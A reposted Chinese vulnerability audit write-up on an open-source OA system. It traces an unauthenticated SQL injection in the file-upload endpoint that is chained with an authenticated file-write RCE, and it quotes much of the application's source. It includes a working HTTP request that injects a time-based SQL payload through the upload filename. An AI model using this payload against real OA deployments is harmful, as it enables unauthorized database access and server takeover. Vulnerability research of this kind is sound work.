前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >记一次开源OA组合拳RCE漏洞审计过程

记一次开源OA组合拳RCE漏洞审计过程

原创
作者头像
亿人安全
发布2025-03-20 22:35:31
发布2025-03-20 22:35:31
2100
代码可运行
举报
文章被收录于专栏:红蓝对抗红蓝对抗
运行总次数:0
代码可运行

原文链接:https://xz.aliyun.com/news/17273

一、漏洞详情

某开源OA存在前台SQL注入和后台RCE漏洞,可以用SQL注入跑出来后台账号密码,登录后打后台RCE,组合拳达到前台RCE的效果。

二、代码分析

首先查看index.php入口文件。

图片
图片

获取get传入的m、d、a参数,最后包含了/include/View.php文件,跟进此文件

代码语言:javascript
代码运行次数:0
运行
复制
<?php
if(!isset($ajaxbool))$ajaxbool = $rock->jm->gettoken('ajaxbool', 'false');
$ajaxbool   = $rock->get('ajaxbool', $ajaxbool);
$p        = PROJECT;
if(!isset($m))$m='index';
if(!isset($a))$a='default';
if(!isset($d))$d='';
$m        = $rock->get('m', $m);
$a        = $rock->get('a', $a);
$d        = $rock->get('d', $d);

define('M', $m);
define('A', $a);
define('D', $d);
define('P', $p);

$_m       = $m;
if($rock->contain($m, '|')){
    $_mas  = explode('|', $m);
    $m        = $_mas[0];
    $_m       = $_mas[1];
}
include_once($rock->strformat('?0/?1/?1Action.php',ROOT_PATH, $p));
$rand      = date('YmdHis').rand(1000,9999);
if(substr($d,-1)!='/' && $d!='')$d.='/';
$errormsg   = '';
$methodbool = true;
$actpath    = $rock->strformat('?0/?1/?2?3',ROOT_PATH, $p, $d, $_m);
define('ACTPATH', $actpath);
$actfile    = $rock->strformat('?0/?1Action.php',$actpath, $m);
$actfile1   = $rock->strformat('?0/?1Action.php',$actpath, $_m);
$actbstr    = null;
if(file_exists($actfile1))include_once($actfile1);
if(file_exists($actfile)){
    include_once($actfile);
    $clsname   = ''.$m.'ClassAction';
    $xhrock       = new $clsname();
    $actname   = ''.$a.'Action';
    if($ajaxbool == 'true')$actname    = ''.$a.'Ajax';
    if(method_exists($xhrock, $actname)){
       $xhrock->beforeAction();
       $actbstr = $xhrock->$actname();
       $xhrock->bodyMessage = $actbstr;
       if(is_string($actbstr)){echo $actbstr;$xhrock->display=false;}
       if(is_array($actbstr)){echo json_encode($actbstr);$xhrock->display=false;}
    }else{
       $methodbool = false;
       if($ajaxbool == 'false')echo ''.$actname.' not found;';
    }
    $xhrock->afterAction();
}else{
    echo 'actionfile not exists;';
    $xhrock       = new Action();
}

传入的m参数来定位某个php文件,d参数表示webmain文件夹的某个目录,a参数表示执行的函数方法,当传入的ajaxbool为true时,a参数调用的Ajax方法,ajaxbool默认为false,a参数调用的Action方法。

三、漏洞分析

1、前台SQL注入

漏洞文件在webmain/task/api/uploawAction.php文件下。

代码语言:javascript
代码运行次数:0
运行
复制
<?php 
class uploawClassAction extends apiAction
{
    public function initAction()
    {
       $this->display= false;
    }
    
    /**
    *  上传文件
    */
    public function upfileAction()
    {
       if(!$_FILES)exit('sorry!');
       $upimg = c('upfile');
       $maxsize= (int)$this->get('maxsize', $upimg->getmaxzhao());//上传最大M
       $uptypes= 'jpg|png|docx|doc|pdf|xlsx|xls|zip|rar';
       $upimg->initupfile($uptypes, ''.UPDIR.'|'.date('Y-m').'', $maxsize);
       $upses = $upimg->up('file');
       if(!is_array($upses))exit($upses);
       $arr   = c('down')->uploadback($upses);
       $arr['autoup'] = (getconfig('qcloudCos_autoup') || getconfig('alioss_autoup')) ? 1 : 0; //是否上传其他平台
       return $arr;
    }
}

此类继承了apiAction类,查看apiAction类,发现其中有initAction,是个鉴权方法

代码语言:javascript
代码运行次数:0
运行
复制
public function initAction()
{
    $this->display= false;
    $time     = time();
    $this->cfrom= $this->request('cfrom');
    $this->token= $this->request('token', $this->admintoken);
    $this->adminid      = (int)$this->request('adminid', $this->adminid);
    $this->adminname = '';
    $boss = (M == 'login|api');
    if(!$boss){
       if(isempt($this->token))$this->showreturn('','token invalid', 199);
       $lodb = m('login');
       $onto = $lodb->getone("`uid`='$this->adminid' and `token`='$this->token' and `online`=1");
       if(!$onto)$this->showreturn('','登录失效,请重新登录', 199);
       $lodb->update("`moddt`='{$this->rock->now}'", $onto['id']);
    }
    $this->userrs = m('admin')->getone("`id`='$this->adminid' and `status`=1", '`name`,`user`,`id`,`ranking`,`deptname`,`deptid`');
    if(!$this->userrs && !$boss){
       $this->showreturn('', '用户已经不存在了,请重新登录', 199);
    }
    
    $this->adminname      = arrvalue($this->userrs, 'name');
    $this->rock->adminid   = $this->adminid;
    $this->rock->adminname     = $this->adminname;
    $this->admintoken     = $this->token;
}

但是在uploawAction.php中重写了init方法,所以uploawAction.php中的upfileAction方法是个前台方法。

代码语言:javascript
代码运行次数:0
运行
复制
public function initAction()
{
    $this->display= false;
}

查看upfileAction方法

代码语言:javascript
代码运行次数:0
运行
复制
public function upfileAction()
{
    if(!$_FILES)exit('sorry!');
    $upimg = c('upfile');
    $maxsize= (int)$this->get('maxsize', $upimg->getmaxzhao());//上传最大M
    $uptypes= 'jpg|png|docx|doc|pdf|xlsx|xls|zip|rar';
    $upimg->initupfile($uptypes, ''.UPDIR.'|'.date('Y-m').'', $maxsize);
    $upses = $upimg->up('file');
    if(!is_array($upses))exit($upses);
    $arr   = c('down')->uploadback($upses);
    $arr['autoup'] = (getconfig('qcloudCos_autoup') || getconfig('alioss_autoup')) ? 1 : 0; //是否上传其他平台
    return $arr;
}

首先,判断是不是上传文件行为,否则退出。之后把upfile带入到c方法,跟进c方法

代码语言:javascript
代码运行次数:0
运行
复制
function c($name, $inbo=true, $param1='', $param2='')
{
    $class = ''.$name.'Chajian';
    $path  = ''.ROOT_PATH.'/include/chajian/'.$class.'.php';
    $cls   = NULL;
    if(file_exists($path)){
       include_once($path);
       if($inbo)$cls  = new $class($param1, $param2);
    }
    return $cls;   
}

也就是包含了/include/chajian/upfilechajian.php

之后调用upfilechajian.php中的up方法,并且把结果赋值给upses参数,跟进up方法

代码语言:javascript
代码运行次数:0
运行
复制
public function up($name,$cfile='')
{
    if(!$_FILES)return 'sorry!';
    $file_name    = $_FILES[$name]['name'];
    $file_size    = $_FILES[$name]['size'];//字节
    $file_type    = $_FILES[$name]['type'];
    $file_error       = $_FILES[$name]['error'];
    $file_tmp_name = $_FILES[$name]['tmp_name'];
    $zongmax      = $this->getmaxupsize();   
    if($file_size<=0 || $file_size > $zongmax){
       return '文件为0字节/超过'.$this->formatsize($zongmax).',不能上传';
    }
    $file_sizecn   = $this->formatsize($file_size);
    $file_ext     = $this->getext($file_name);//文件扩展名

    $file_img     = $this->isimg($file_ext);
    $file_kup     = $this->issavefile($file_ext);
    
    if(!$file_img && !$this->isoffice($file_ext) && getconfig('systype')=='demo')return '演示站点禁止文件上传';
    
    if($file_error>0){
       $rrs = $this->geterrmsg($file_error);
       return $rrs;
    }
       
    if(!$this->contain('|'.$this->ext.'|', '|'.$file_ext.'|') && $this->ext != '*'){
       return '禁止上传文件类型['.$file_ext.']';
    }
    
    if($file_size>$this->maxsize*1024*1024){
       return '上传文件过大,限制在:'.$this->formatsize($this->maxsize*1024*1024).'内,当前文件大小是:'.$file_sizecn.'';
    }
    
    //创建目录
    $zpath=explode('|',$this->path);
    $mkdir='';
    for($i=0;$i<count($zpath);$i++){
       $mkdir.=''.$zpath[$i].'/';
       if(!is_dir($mkdir))mkdir($mkdir);
    }
    
    //新的文件名
    $file_newname  = $file_name;
    $randname     = $file_name;
    if(!$cfile==''){
       $file_newname=''.$cfile.'.'.$file_ext.'';
    }else{
       $_oldval    = m('option')->getval('randfilename');
       $randname   = $this->getrandfile(1, $_oldval);
       m('option')->setval('randfilename', $randname);
       $file_newname=''.$randname.'.'.$file_ext.'';
    }
    
    $save_path = ''.str_replace('|','/',$this->path);
    //if(!is_writable($save_path))return '目录'.$save_path.'无法写入不能上传';
    $allfilename= $save_path.'/'.$file_newname.'';
    $uptempname    = $save_path.'/'.$randname.'.uptemp';

    $upbool       = true;
    if(!$file_kup){
       $allfilename= $this->filesave($file_tmp_name, $file_newname, $save_path, $file_ext);
       if(isempt($allfilename))return '无法保存到'.$save_path.'';
    }else{
       $upbool       = @move_uploaded_file($file_tmp_name,$allfilename);
    }
    
    if($upbool){
       $picw=0;$pich=0;
       if($file_img){
          $fobj = $this->isimgsave($file_ext, $allfilename);
          if(!$fobj){
             return 'error:非法图片文件';
          }else{
             $picw = $fobj[0];
             $pich = $fobj[1];  
          }
       }
       return array(
          'newfilename' => $file_newname,
          'oldfilename' => $file_name,
          'filesize'    => $file_size,
          'filesizecn'  => $file_sizecn,
          'filetype'    => $file_type,
          'filepath'    => $save_path,
          'fileext'     => $file_ext,
          'allfilename' => $allfilename,
          'picw'        => $picw,
          'pich'        => $pich
       );
    }else{
       return '上传失败:'.$this->geterrmsg($file_error).'';
    }
}

其实也就是获取上传文件的各个属性,最后输出一个数组,赋值给upses参数。

然后走到$arr   = c('down')->uploadback($upses);,调用downchajian.php中的uploadback方法,传入upses参数,跟进uploadback方法。

代码语言:javascript
代码运行次数:0
运行
复制
public function uploadback($upses, $thumbnail='', $subo=true)
{
    if($thumbnail=='')$thumbnail='150x150';
    $msg      = '';
    $data     = array();
    if(is_array($upses)){
       $noasyn = $this->rock->get('noasyn'); //=yes就不同步到文件平台
       $noyaso = $this->rock->get('noyaso'); //=yes就不压缩
       $fileext= substr($upses['fileext'],0,10);
       $arrs  = array(
          'adddt'    => $this->rock->now,
          'valid'    => 1,
          'filename' => $this->replacefile($upses['oldfilename']),
          'web'     => $this->rock->web,
          'ip'      => $this->rock->ip,
          'mknum'       => $this->rock->get('sysmodenum'),
          //'mid'       => $this->rock->get('sysmid','0'),
          'fileext'  => $fileext,
          'filesize' => (int)$this->rock->get('filesize', $upses['filesize']),
          'filesizecn'=> $upses['filesizecn'],
          'filepath' => str_replace('../','',$upses['allfilename']),
          'optid'       => $this->adminid,
          'optname'  => $this->adminname,
          'comid'       => m('admin')->getcompanyid(),
       );

此方法中,把upses参数中的oldfilename的值赋予给arrs数组中的filename值。

图片
图片

最后把整个数组带入到record方法中,跟进

代码语言:javascript
代码运行次数:0
运行
复制
public function record($table,$array,$where='')
{
    $addbool   = true;
    if(!$this->isempt($where))$addbool=false;
    $cont     = '';
    if(is_array($array)){
       foreach($array as $key=>$val){
          $cont.=",`$key`=".$this->toaddval($val)."";
       }
       $cont  = substr($cont,1);
    }else{
       $cont  = $array;
    }
    $table = $this->gettables($table);
    if($addbool){
       $sql="insert into $table set $cont";
    }else{
       $where = $this->getwhere($where);
       $sql="update $table set $cont where $where";
    }
    return $this->tranbegin($sql);
}

直接执行SQL语句,整个过程中我们可以直接控制的参数就是upses数组中的oldfilename参数,所以这个点存在SQL注入漏洞。

代码语言:javascript
代码运行次数:0
运行
复制
return array(
    'newfilename' => $file_newname,
    'oldfilename' => $file_name,
    'filesize'    => $file_size,
    'filesizecn'  => $file_sizecn,
    'filetype'    => $file_type,
    'filepath'    => $save_path,
    'fileext'     => $file_ext,
    'allfilename' => $allfilename,
    'picw'        => $picw,
    'pich'        => $pich
);


		$file_name		= $_FILES[$name]['name'];

整个SQL注入的过程我们可以顺一下

图片
图片

漏洞复现

代码语言:javascript
代码运行次数:0
运行
复制
POST /xhoa/index.php?a=upfile&m=uploaw|api&d=task& HTTP/1.1
Host: 127.0.0.1
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryitXo7nCpRwksqD9i
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0
Accept: application/json, text/javascript, */*
Content-Length: 141


------WebKitFormBoundaryitXo7nCpRwksqD9i
Content-Disposition: form-data; name="file"; filename="a',web=(select if(123=123,sleep(5),0))-- .png"


123
------WebKitFormBoundaryitXo7nCpRwksqD9i--
图片
图片
图片
图片

(虚拟机有固定1.7s左右延迟)

2、后台RCE

漏洞文件在webmain/task/api/uploadAction.php中的getmfilvAction方法中

代码语言:javascript
代码运行次数:0
运行
复制
public function getmfilvAction()
{
    $fileid = (int)$this->get('fileid','0');
    $frs   = m('file')->getone($fileid);
    if(!$frs)return returnerror('不存在');
    
    $lujing    = $frs['filepathout'];
    if(isempt($lujing)){
       $lujing = $frs['filepath'];
       if(substr($lujing,0,4)!='http' && !file_exists($lujing))return returnerror('文件不存在了');
    }
    $fileext = $frs['fileext'];
    
    $fname = $this->jm->base64decode($this->get('fname'));
    $fname = (isempt($fname)) ? $frs['filename'] : ''.$fname.'.'.$fileext.'';
    
    $filepath = ''.UPDIR.'/'.date('Y-m').'/'.date('d').'_rocktpl'.rand(1000,9999).'_'.$fileid.'.'.$fileext.'';
    $this->rock->createtxt($filepath, file_get_contents($lujing));
    
    $uarr = array(
       'filename' => $fname,
       'fileext' => $fileext,
       'filepath' => $filepath,
       'filesize' => filesize($filepath),
       'filesizecn' => $this->rock->formatsize(filesize($filepath)),
       'optid'    => $this->adminid,
       'optname'  => $this->adminname,
       'adddt'    => $this->rock->now,
       'ip'      => $this->rock->ip,
       'web'     => $this->rock->web,
    );
    $uarr['id'] = m('file')->insert($uarr);

    return returnsuccess($uarr);
}

这个代码主要是写入一些键值到数据库中,其中有个createtxt方法,跟进

其实就是把第二个参数的内容,写进第一个路径中

代码语言:javascript
代码运行次数:0
运行
复制
public function createtxt($path, $txt)
{
    $this->createdir($path);
    $path  = ''.ROOT_PATH.'/'.$path.'';
    @$file = fopen($path,'w');
    $bo    = false;
    if($file){
       $bo = true;
       if($txt)$bo = fwrite($file,$txt);
       fclose($file);
    }
    return $bo;
}

那么我们思路就明确了。

利用这个函数达到RCE的结果,分成两步,第一步,利用$uarr['id'] = m('file')->insert($uarr);方法,把我们恶意的内容写入到数据库中;第二步。利用$this->rock->createtxt($filepath, file_get_contents($lujing));来创建文件。

漏洞复现

本地开启python服务

图片
图片

打入payload

图片
图片

之后去遍历fileid

图片
图片
图片
图片

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 原文链接:https://xz.aliyun.com/news/17273
  • 一、漏洞详情
  • 二、代码分析
  • 三、漏洞分析
    • 1、前台SQL注入
    • 2、后台RCE
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档